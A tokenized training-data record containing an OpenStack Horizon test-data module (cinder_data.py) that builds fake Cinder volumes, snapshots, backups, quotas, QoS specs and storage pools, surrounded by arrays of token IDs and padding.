32768,
32768,
32768,
32768,
32768,
32768
] |
[
10160,
4298,
367,
21305,
63,
571,
1041,
199,
504,
9143,
492,
7417,
199,
199,
504,
8846,
14,
1297,
492,
6392,
63,
13166,
28706,
63,
998,
199,
504,
8846,
14,
1018,
492,
3233,
199,
504,
8846,
14,
7546,
14,
14913,
492,
5316,
63,
14913,
63,
2242,
199,
199,
504,
1275,
1297,
492,
334,
272,
10762,
63,
24151,
63,
6689,
12,
272,
10762,
63,
24151,
63,
2711,
63,
24151,
465,
32526,
1922,
63,
2711,
12,
272,
10762,
63,
24151,
63,
28060,
63,
998,
12,
272,
10762,
63,
24151,
63,
53,
7474,
12,
272,
7126,
63,
1093,
8670,
12,
272,
15265,
12,
199,
9,
199,
504,
1275,
4502,
492,
29724,
2640,
7302,
12,
8778,
63,
344,
421,
199,
4146,
347,
5316,
63,
2758,
63,
2373,
8,
5387,
12,
1101,
63,
2373,
12,
5316,
63,
525,
63,
8327,
304,
272,
408,
1084,
1536,
21305,
1145,
8778,
687,
282,
1101,
2397,
1041,
272,
9045,
275,
769,
342,
339,
30053,
63,
344,
275,
1101,
63,
2373,
14,
576,
59,
3103,
63,
13166,
28706,
63,
998,
61,
339,
367,
1101,
315,
6298,
14,
576,
59,
7378,
1527,
13630,
63,
2711,
1055,
1459,
837,
267,
340,
1101,
59,
3103,
63,
13166,
28706,
63,
998,
61,
1137,
30053,
63,
344,
26,
288,
1980,
398,
2243,
275,
6298,
14,
576,
59,
7378,
1527,
3998,
63,
1093,
8670,
1527,
22944,
63,
344,
61,
398,
9045,
14,
740,
8,
27245,
2640,
10160,
8,
888,
12,
2243,
12,
1101,
63,
2373,
430,
339,
5316,
63,
525,
63,
8327,
8,
8327,
9,
339,
768,
3058,
272,
347,
2429,
63,
8956,
63,
8054,
8,
22944,
63,
344,
12,
666,
304,
267,
340,
666,
59,
3103,
63,
13166,
28706,
63,
998,
61,
1137,
30053,
63,
344,
26,
288,
372,
398,
3747,
63,
344,
275,
8778,
63,
344,
8,
576,
59,
3103,
63,
13166,
28706,
63,
998,
467,
666,
59,
5280,
63,
24151,
63,
28060,
63,
998,
566,
398,
4642,
275,
6298,
14,
576,
59,
7378,
1527,
13630,
63,
2711,
1527,
3235,
63,
344,
61,
398,
340,
298,
3270,
2,
315,
4642,
26,
288,
372,
398,
4642,
905,
3270,
937,
275,
715,
398,
2243,
275,
6298,
14,
576,
59,
7378,
1527,
3998,
63,
1093,
8670,
1527,
576,
59,
3103,
63,
13166,
28706,
63,
998,
2677,
398,
5316,
63,
525,
63,
8327,
779,
27245,
2640,
10160,
8,
576,
12,
2243,
12,
1101,
63,
2373,
3948,
339,
5316,
63,
14913,
63,
2242,
8,
267,
6298,
12,
267,
289,
14381,
7378,
26738,
13630,
63,
2711,
12585,
2683,
401,
267,
7417,
8,
2479,
63,
8956,
63,
8054,
12,
30053,
63,
344,
395,
272,
776,
421,
199,
533,
29724,
2640,
10160,
8,
27245,
2640,
7302,
304,
272,
408,
20609,
402,
376,
21305,
1145,
8778,
1041,
339,
768,
1829,
272,
347,
1174,
8,
277,
304,
267,
408,
1767,
314,
1174,
402,
314,
8778,
1041,
267,
372,
291,
423,
888,
59,
5280,
63,
24151,
63,
6689,
61,
339,
768,
1829,
272,
347,
4137,
63,
1618,
63,
17912,
8,
277,
304,
267,
408,
1767,
314,
4137,
402,
18216,
642,
8778,
1437,
4357,
6337,
315,
1041,
267,
372,
291,
423,
888,
14,
362,
8,
5280,
63,
24151,
63,
53,
7474,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
dan1/horizon-proto
|
openstack_dashboard/test/test_data/cinder_data.py
|
21
|
13932
|
# Copyright 2012 Nebula, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from cinderclient.v2 import availability_zones
from cinderclient.v2 import pools
from cinderclient.v2 import qos_specs
from cinderclient.v2 import quotas
from cinderclient.v2 import services
from cinderclient.v2 import volume_backups as vol_backups
from cinderclient.v2 import volume_encryption_types as vol_enc_types
from cinderclient.v2 import volume_snapshots as vol_snaps
from cinderclient.v2 import volume_transfers
from cinderclient.v2 import volume_types
from cinderclient.v2 import volumes
from openstack_dashboard import api
from openstack_dashboard.usage import quotas as usage_quotas
from openstack_dashboard.test.test_data import utils
def data(TEST):
TEST.cinder_services = utils.TestDataContainer()
TEST.cinder_volumes = utils.TestDataContainer()
TEST.cinder_volume_backups = utils.TestDataContainer()
TEST.cinder_volume_encryption_types = utils.TestDataContainer()
TEST.cinder_volume_types = utils.TestDataContainer()
TEST.cinder_volume_encryption = utils.TestDataContainer()
TEST.cinder_bootable_volumes = utils.TestDataContainer()
TEST.cinder_qos_specs = utils.TestDataContainer()
TEST.cinder_qos_spec_associations = utils.TestDataContainer()
TEST.cinder_volume_snapshots = utils.TestDataContainer()
TEST.cinder_quotas = utils.TestDataContainer()
TEST.cinder_quota_usages = utils.TestDataContainer()
TEST.cinder_availability_zones = utils.TestDataContainer()
TEST.cinder_volume_transfers = utils.TestDataContainer()
TEST.cinder_pools = utils.TestDataContainer()
# Services
service_1 = services.Service(services.ServiceManager(None), {
"service": "cinder-scheduler",
"status": "enabled",
"binary": "cinder-scheduler",
"zone": "internal",
"state": "up",
"updated_at": "2013-07-08T05:21:00.000000",
"host": "devstack001",
"disabled_reason": None
})
service_2 = services.Service(services.ServiceManager(None), {
"service": "cinder-volume",
"status": "enabled",
"binary": "cinder-volume",
"zone": "nova",
"state": "up",
"updated_at": "2013-07-08T05:20:51.000000",
"host": "devstack001",
"disabled_reason": None
})
TEST.cinder_services.add(service_1)
TEST.cinder_services.add(service_2)
# Volumes - Cinder v1
volume = volumes.Volume(
volumes.VolumeManager(None),
{'id': "11023e92-8008-4c8b-8059-7f2293ff3887",
'status': 'available',
'size': 40,
'display_name': 'Volume name',
'display_description': 'Volume description',
'created_at': '2014-01-27 10:30:00',
'volume_type': None,
'attachments': []})
nameless_volume = volumes.Volume(
volumes.VolumeManager(None),
{"id": "4b069dd0-6eaa-4272-8abc-5448a68f1cce",
"status": 'available',
"size": 10,
"display_name": '',
"display_description": '',
"device": "/dev/hda",
"created_at": '2010-11-21 18:34:25',
"volume_type": 'vol_type_1',
"attachments": []})
other_volume = volumes.Volume(
volumes.VolumeManager(None),
{'id': "21023e92-8008-1234-8059-7f2293ff3889",
'status': 'in-use',
'size': 10,
'display_name': u'my_volume',
'display_description': '',
'created_at': '2013-04-01 10:30:00',
'volume_type': None,
'attachments': [{"id": "1", "server_id": '1',
"device": "/dev/hda"}]})
volume_with_type = volumes.Volume(
volumes.VolumeManager(None),
{'id': "7dcb47fd-07d9-42c2-9647-be5eab799ebe",
'name': 'my_volume2',
'status': 'in-use',
'size': 10,
'display_name': u'my_volume2',
'display_description': '',
'created_at': '2013-04-01 10:30:00',
'volume_type': 'vol_type_2',
'attachments': [{"id": "2", "server_id": '2',
"device": "/dev/hdb"}]})
non_bootable_volume = volumes.Volume(
volumes.VolumeManager(None),
{'id': "21023e92-8008-1234-8059-7f2293ff3890",
'status': 'in-use',
'size': 10,
'display_name': u'my_volume',
'display_description': '',
'created_at': '2013-04-01 10:30:00',
'volume_type': None,
'bootable': False,
'attachments': [{"id": "1", "server_id": '1',
"device": "/dev/hda"}]})
volume.bootable = 'true'
nameless_volume.bootable = 'true'
other_volume.bootable = 'true'
TEST.cinder_volumes.add(api.cinder.Volume(volume))
TEST.cinder_volumes.add(api.cinder.Volume(nameless_volume))
TEST.cinder_volumes.add(api.cinder.Volume(other_volume))
TEST.cinder_volumes.add(api.cinder.Volume(volume_with_type))
TEST.cinder_bootable_volumes.add(api.cinder.Volume(non_bootable_volume))
vol_type1 = volume_types.VolumeType(volume_types.VolumeTypeManager(None),
{'id': u'1',
'name': u'vol_type_1',
'extra_specs': {'foo': 'bar'}})
vol_type2 = volume_types.VolumeType(volume_types.VolumeTypeManager(None),
{'id': u'2',
'name': u'vol_type_2'})
TEST.cinder_volume_types.add(vol_type1, vol_type2)
# Volumes - Cinder v2
volume_v2 = volumes.Volume(
volumes.VolumeManager(None),
{'id': "31023e92-8008-4c8b-8059-7f2293ff1234",
'name': 'v2_volume',
'description': "v2 Volume Description",
'status': 'available',
'size': 20,
'created_at': '2014-01-27 10:30:00',
'volume_type': None,
'os-vol-host-attr:host': 'host@backend-name#pool',
'bootable': 'true',
'attachments': []})
volume_v2.bootable = 'true'
TEST.cinder_volumes.add(api.cinder.Volume(volume_v2))
snapshot = vol_snaps.Snapshot(
vol_snaps.SnapshotManager(None),
{'id': '5f3d1c33-7d00-4511-99df-a2def31f3b5d',
'display_name': 'test snapshot',
'display_description': 'volume snapshot',
'size': 40,
'status': 'available',
'volume_id': '11023e92-8008-4c8b-8059-7f2293ff3887'})
snapshot2 = vol_snaps.Snapshot(
vol_snaps.SnapshotManager(None),
{'id': 'c9d0881a-4c0b-4158-a212-ad27e11c2b0f',
'name': '',
'description': 'v2 volume snapshot description',
'size': 80,
'status': 'available',
'volume_id': '31023e92-8008-4c8b-8059-7f2293ff1234'})
snapshot.bootable = 'true'
snapshot2.bootable = 'true'
TEST.cinder_volume_snapshots.add(api.cinder.VolumeSnapshot(snapshot))
TEST.cinder_volume_snapshots.add(api.cinder.VolumeSnapshot(snapshot2))
TEST.cinder_volume_snapshots.first()._volume = volume
# Volume Type Encryption
vol_enc_type1 = vol_enc_types.VolumeEncryptionType(
vol_enc_types.VolumeEncryptionTypeManager(None),
{'volume_type_id': u'1',
'control_location': "front-end",
'key_size': 512,
'provider': "a-provider",
'cipher': "a-cipher"})
vol_enc_type2 = vol_enc_types.VolumeEncryptionType(
vol_enc_types.VolumeEncryptionTypeManager(None),
{'volume_type_id': u'2',
'control_location': "front-end",
'key_size': 256,
'provider': "a-provider",
'cipher': "a-cipher"})
vol_unenc_type1 = vol_enc_types.VolumeEncryptionType(
vol_enc_types.VolumeEncryptionTypeManager(None), {})
TEST.cinder_volume_encryption_types.add(vol_enc_type1, vol_enc_type2,
vol_unenc_type1)
volume_backup1 = vol_backups.VolumeBackup(
vol_backups.VolumeBackupManager(None),
{'id': 'a374cbb8-3f99-4c3f-a2ef-3edbec842e31',
'name': 'backup1',
'description': 'volume backup 1',
'size': 10,
'status': 'available',
'container_name': 'volumebackups',
'volume_id': '11023e92-8008-4c8b-8059-7f2293ff3887'})
volume_backup2 = vol_backups.VolumeBackup(
vol_backups.VolumeBackupManager(None),
{'id': 'c321cbb8-3f99-4c3f-a2ef-3edbec842e52',
'name': 'backup2',
'description': 'volume backup 2',
'size': 20,
'status': 'available',
'container_name': 'volumebackups',
'volume_id': '31023e92-8008-4c8b-8059-7f2293ff1234'})
TEST.cinder_volume_backups.add(volume_backup1)
TEST.cinder_volume_backups.add(volume_backup2)
# Volume Encryption
vol_enc_metadata1 = volumes.Volume(
volumes.VolumeManager(None),
{'cipher': 'test-cipher',
'key_size': 512,
'provider': 'test-provider',
'control_location': 'front-end'})
vol_unenc_metadata1 = volumes.Volume(
volumes.VolumeManager(None),
{})
TEST.cinder_volume_encryption.add(vol_enc_metadata1)
TEST.cinder_volume_encryption.add(vol_unenc_metadata1)
# Quota Sets
quota_data = dict(volumes='1',
snapshots='1',
gigabytes='1000')
quota = quotas.QuotaSet(quotas.QuotaSetManager(None), quota_data)
TEST.cinder_quotas.add(api.base.QuotaSet(quota))
# Quota Usages
quota_usage_data = {'gigabytes': {'used': 0,
'quota': 1000},
'instances': {'used': 0,
'quota': 10},
'snapshots': {'used': 0,
'quota': 10}}
quota_usage = usage_quotas.QuotaUsage()
for k, v in quota_usage_data.items():
quota_usage.add_quota(api.base.Quota(k, v['quota']))
quota_usage.tally(k, v['used'])
TEST.cinder_quota_usages.add(quota_usage)
# Availability Zones
# Cinder returns the following structure from os-availability-zone
# {"availabilityZoneInfo":
# [{"zoneState": {"available": true}, "zoneName": "nova"}]}
# Note that the default zone is still "nova" even though this is cinder
TEST.cinder_availability_zones.add(
availability_zones.AvailabilityZone(
availability_zones.AvailabilityZoneManager(None),
{
'zoneName': 'nova',
'zoneState': {'available': True}
}
)
)
# Cinder Limits
limits = {"absolute": {"totalVolumesUsed": 1,
"totalGigabytesUsed": 5,
"maxTotalVolumeGigabytes": 1000,
"maxTotalVolumes": 10}}
TEST.cinder_limits = limits
# QOS Specs
qos_spec1 = qos_specs.QoSSpecs(
qos_specs.QoSSpecsManager(None),
{"id": "418db45d-6992-4674-b226-80aacad2073c",
"name": "high_iops",
"consumer": "back-end",
"specs": {"minIOPS": "1000", "maxIOPS": '100000'}})
qos_spec2 = qos_specs.QoSSpecs(
qos_specs.QoSSpecsManager(None),
{"id": "6ed7035f-992e-4075-8ed6-6eff19b3192d",
"name": "high_bws",
"consumer": "back-end",
"specs": {"maxBWS": '5000'}})
TEST.cinder_qos_specs.add(qos_spec1, qos_spec2)
vol_type1.associated_qos_spec = qos_spec1.name
TEST.cinder_qos_spec_associations.add(vol_type1)
# volume_transfers
transfer_1 = volume_transfers.VolumeTransfer(
volume_transfers.VolumeTransferManager(None), {
'id': '99999999-8888-7777-6666-555555555555',
'name': 'test transfer',
'volume_id': volume.id,
'auth_key': 'blah',
'created_at': ''})
TEST.cinder_volume_transfers.add(transfer_1)
# Pools
pool1 = pools.Pool(
pools.PoolManager(None), {
"QoS_support": False,
"allocated_capacity_gb": 0,
"driver_version": "3.0.0",
"free_capacity_gb": 10,
"extra_specs": {
"description": "LVM Extra specs",
"display_name": "LVMDriver",
"namespace": "OS::Cinder::LVMDriver",
"type": "object",
},
"name": "devstack@lvmdriver-1#lvmdriver-1",
"pool_name": "lvmdriver-1",
"reserved_percentage": 0,
"storage_protocol": "iSCSI",
"total_capacity_gb": 10,
"vendor_name": "Open Source",
"volume_backend_name": "lvmdriver-1"})
pool2 = pools.Pool(
pools.PoolManager(None), {
"QoS_support": False,
"allocated_capacity_gb": 2,
"driver_version": "3.0.0",
"free_capacity_gb": 15,
"extra_specs": {
"description": "LVM Extra specs",
"display_name": "LVMDriver",
"namespace": "OS::Cinder::LVMDriver",
"type": "object",
},
"name": "devstack@lvmdriver-2#lvmdriver-2",
"pool_name": "lvmdriver-2",
"reserved_percentage": 0,
"storage_protocol": "iSCSI",
"total_capacity_gb": 10,
"vendor_name": "Open Source",
"volume_backend_name": "lvmdriver-2"})
TEST.cinder_pools.add(pool1)
TEST.cinder_pools.add(pool2)
|
apache-2.0
|
[
3,
1898,
6029,
653,
2871,
7586,
12,
3277,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
504,
13069,
1258,
14,
86,
18,
492,
14962,
63,
13325,
199,
504,
13069,
1258,
14,
86,
18,
492,
20092,
199,
504,
13069,
1258,
14,
86,
18,
492,
19384,
63,
7273,
199,
504,
13069,
1258,
14,
86,
18,
492,
22874,
199,
504,
13069,
1258,
14,
86,
18,
492,
8500,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
27376,
465,
5236,
63,
27376,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
15113,
63,
1313,
465,
5236,
63,
10945,
63,
1313,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
15331,
465,
5236,
63,
10002,
83,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
1515,
70,
1192,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
1313,
199,
504,
13069,
1258,
14,
86,
18,
492,
12158,
199,
199,
504,
13869,
63,
9743,
492,
2986,
199,
504,
13869,
63,
9743,
14,
3807,
492,
22874,
465,
4503,
63,
17056,
199,
199,
504,
13869,
63,
9743,
14,
396,
14,
396,
63,
576,
492,
3778,
421,
199,
318,
666,
8,
2864,
304,
272,
7393,
14,
12372,
63,
5950,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
8838,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
27376,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
15113,
63,
1313,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
1313,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
15113,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
4930,
461,
63,
8838,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
12282,
63,
7273,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
12282,
63,
1650,
63,
32600,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
15331,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
17056,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
8848,
63,
21503,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
11856,
63,
13325,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
1515,
70,
1192,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
12406,
275,
3778,
14,
16550,
4076,
342,
339,
327,
21813,
272,
2435,
63,
17,
275,
8500,
14,
3167,
8,
5950,
14,
3167,
2988,
8,
403,
395,
469,
267,
298,
1364,
582,
298,
12372,
13,
8874,
401,
267,
298,
1205,
582,
298,
3827,
401,
267,
298,
3008,
582,
298,
12372,
13,
8874,
401,
267,
298,
2619,
582,
298,
4672,
401,
267,
298,
929,
582,
298,
384,
401,
267,
298,
5334,
63,
292,
582,
298,
6965,
13,
1780,
13,
2036,
52,
1717,
26,
2025,
26,
383,
14,
3273,
401,
267,
298,
1102,
582,
298,
2374,
2340,
4587,
401,
267,
298,
7011,
63,
5764,
582,
488,
272,
3828,
339,
2435,
63,
18,
275,
8500,
14,
3167,
8,
5950,
14,
3167,
2988,
8,
403,
395,
469,
267,
298,
1364,
582,
298,
12372,
13,
2405,
401,
267,
298,
1205,
582,
298,
3827,
401,
267,
298,
3008,
582,
298,
12372,
13,
2405,
401,
267,
298,
2619,
582,
298,
6765,
401,
267,
298,
929,
582,
298,
384,
401,
267,
298,
5334,
63,
292,
582,
298,
6965,
13,
1780,
13,
2036,
52,
1717,
26,
1165,
26,
2869,
14,
3273,
401,
267,
298,
1102,
582,
298,
2374,
2340,
4587,
401,
267,
298,
7011,
63,
5764,
582,
488,
272,
3828,
272,
7393,
14,
12372,
63,
5950,
14,
525,
8,
1364,
63,
17,
9,
272,
7393,
14,
12372,
63,
5950,
14,
525,
8,
1364,
63,
18,
9,
339,
327,
15018,
83,
446,
445,
5755,
373,
17,
272,
3301,
275,
12158,
14,
6464,
8,
267,
12158,
14,
6464,
2988,
8,
403,
395,
267,
791,
344,
356,
298,
6019,
1789,
69,
2942,
13,
6718,
24,
13,
20,
67,
24,
66,
13,
1257,
1427,
13,
23,
70,
1081,
3129,
556,
11403,
23,
401,
268,
283,
1205,
356,
283,
4561,
297,
268,
283,
890,
356,
6335,
12,
268,
283,
2918,
63,
354,
356,
283,
6464,
536,
297,
268,
283,
2918,
63,
1802,
356,
283,
6464,
1369,
297,
268,
283,
3966,
63,
292,
356,
283,
7280,
13,
614,
13,
1465,
1616,
26,
1216,
26,
383,
297,
268,
283,
2405,
63,
466,
356,
488,
12,
268,
283,
15855,
356,
942,
1552,
272,
536,
2003,
63,
2405,
275,
12158,
14,
6464,
8,
267,
12158,
14,
6464,
2988,
8,
403,
395,
267,
2420,
344,
582,
298,
20,
66,
18264,
617,
16,
13,
22,
69,
2158,
13,
20,
12900,
13,
24,
3175,
13,
1477,
2006,
65,
2333,
70,
17,
67,
301,
401,
268,
298,
1205,
582,
283,
4561,
297,
268,
298,
890,
582,
1616,
12,
268,
298,
2918,
63,
354,
582,
3260,
268,
298,
2918,
63,
1802,
582,
3260,
268,
298,
1782,
582,
3286,
2374,
15,
72,
983,
401,
268,
298,
3966,
63,
292,
582,
283,
6542,
13,
845,
13,
2025,
6155,
26,
1082,
26,
821,
297,
268,
298,
2405,
63,
466,
582,
283,
5650,
63,
466,
63,
17,
297,
268,
298,
15855,
582,
942,
1552,
272,
1163,
63,
2405,
275,
12158,
14,
6464,
8,
267,
12158,
14,
6464,
2988,
8,
403,
395,
267,
791,
344,
356,
298,
12725,
1789,
69,
2942,
13,
6718,
24,
13,
4321,
13,
1257
] |
[
1898,
6029,
653,
2871,
7586,
12,
3277,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
504,
13069,
1258,
14,
86,
18,
492,
14962,
63,
13325,
199,
504,
13069,
1258,
14,
86,
18,
492,
20092,
199,
504,
13069,
1258,
14,
86,
18,
492,
19384,
63,
7273,
199,
504,
13069,
1258,
14,
86,
18,
492,
22874,
199,
504,
13069,
1258,
14,
86,
18,
492,
8500,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
27376,
465,
5236,
63,
27376,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
15113,
63,
1313,
465,
5236,
63,
10945,
63,
1313,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
15331,
465,
5236,
63,
10002,
83,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
1515,
70,
1192,
199,
504,
13069,
1258,
14,
86,
18,
492,
3301,
63,
1313,
199,
504,
13069,
1258,
14,
86,
18,
492,
12158,
199,
199,
504,
13869,
63,
9743,
492,
2986,
199,
504,
13869,
63,
9743,
14,
3807,
492,
22874,
465,
4503,
63,
17056,
199,
199,
504,
13869,
63,
9743,
14,
396,
14,
396,
63,
576,
492,
3778,
421,
199,
318,
666,
8,
2864,
304,
272,
7393,
14,
12372,
63,
5950,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
8838,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
27376,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
15113,
63,
1313,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
1313,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
15113,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
4930,
461,
63,
8838,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
12282,
63,
7273,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
12282,
63,
1650,
63,
32600,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
15331,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
17056,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
8848,
63,
21503,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
11856,
63,
13325,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
2405,
63,
1515,
70,
1192,
275,
3778,
14,
16550,
4076,
342,
272,
7393,
14,
12372,
63,
12406,
275,
3778,
14,
16550,
4076,
342,
339,
327,
21813,
272,
2435,
63,
17,
275,
8500,
14,
3167,
8,
5950,
14,
3167,
2988,
8,
403,
395,
469,
267,
298,
1364,
582,
298,
12372,
13,
8874,
401,
267,
298,
1205,
582,
298,
3827,
401,
267,
298,
3008,
582,
298,
12372,
13,
8874,
401,
267,
298,
2619,
582,
298,
4672,
401,
267,
298,
929,
582,
298,
384,
401,
267,
298,
5334,
63,
292,
582,
298,
6965,
13,
1780,
13,
2036,
52,
1717,
26,
2025,
26,
383,
14,
3273,
401,
267,
298,
1102,
582,
298,
2374,
2340,
4587,
401,
267,
298,
7011,
